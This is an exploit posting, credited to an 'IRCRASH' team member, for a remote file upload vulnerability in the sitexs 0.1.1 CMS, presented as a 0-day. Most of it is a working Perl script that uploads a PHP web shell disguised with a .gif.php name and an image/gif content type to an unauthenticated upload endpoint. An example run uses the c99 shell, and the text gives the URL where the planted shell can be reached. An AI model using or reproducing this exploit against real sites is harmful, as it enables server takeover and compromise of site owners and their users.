Author : Hadi Kiamarsi ------------------------------------------------------------------------ ---------- Discovered by : Hadi Kiamarsi ------------------------------------------------------------------------ ---------- Exploited By : Hadi Kiamarsi ------------------------------------------------------------------------ ---------- E-Mail : hadikiamarsi[at]hotmail.com ------------------------------------------------------------------------ ---------- WebSite : http://ircrash.com ------------------------------------------------------------------------ ---------- Our Team : ircrash ------------------------------------------------------------------------ ---------- IRCRASH Team Members : Dr.Crash Or Khashayar Fereidani - Hadi Kiamarsi - Malc0de - R3d.w0rm - Rasool Nasr ------------------------------------------------------------------------ ---------- CMS: sitexs-0.1.1 CMS ( All Version Vulnerable ) Download CMS : http://dfn.dl.sourceforge.net/sourceforge/sitexs/sitexs-0.1.1.tar.gz ------------------------------------------------------------------------ ---------- Remote File Upload Vulnerability You Must turn on : register_globals = On register_long_arrays=on ------------------------------------------------------------------------ ----------- Exploit : ------------------------------------------------------------------------ ----------- #!/usr/bin/perl # Author : Hadi Kiamarsi # Discover By : Hadi Kiamarsi # Exploit By : Hadi Kiamarsi use LWP; use HTTP::Request::Common; $ua = $ua = LWP::UserAgent->new;; $res = $ua->request(POST 'http:www.example.com/[sitexs]/adm/visual/upload.php', Content_Type => 'form-data', Content => [ UPLOAD => ["Your shell file path", "1.gif.php", "Content-Type" => "image/gif"],submit => 'true',type => 'images',path => '',process => 'true', ], ); print $res->as_string(); ------------------------------------------------------------------------ ----------- you for use this exploit . you must your shell file exists in exploit directory then excute exploit you find your shell in below link www.example.com/[sitexs]/images/1.gif.php www.example.com/[sitexs]/images/[shell][.php] ------------------------------------------------------------------------ ----------- Example : ------------------------------------------------------------------------ ----------- #!/usr/bin/perl # Author : Hadi Kiamarsi # Discover By : Hadi Kiamarsi # Exploit By : Hadi Kiamarsi use LWP; use HTTP::Request::Common; $ua = $ua = LWP::UserAgent->new;; $res = $ua->request(POST 'http://localhost/adm/visual/upload.php', Content_Type => 'form-data', Content => [ UPLOAD => ["c99.php", "1.gif.php", "Content-Type" => "image/gif"],submit => 'true',type => 'images',path => '',process => 'true', ], ); print $res->as_string(); ------------------------------------------------------------------------ ----------- this bug is 0-Day ------------------------------------------------------------------------ -----------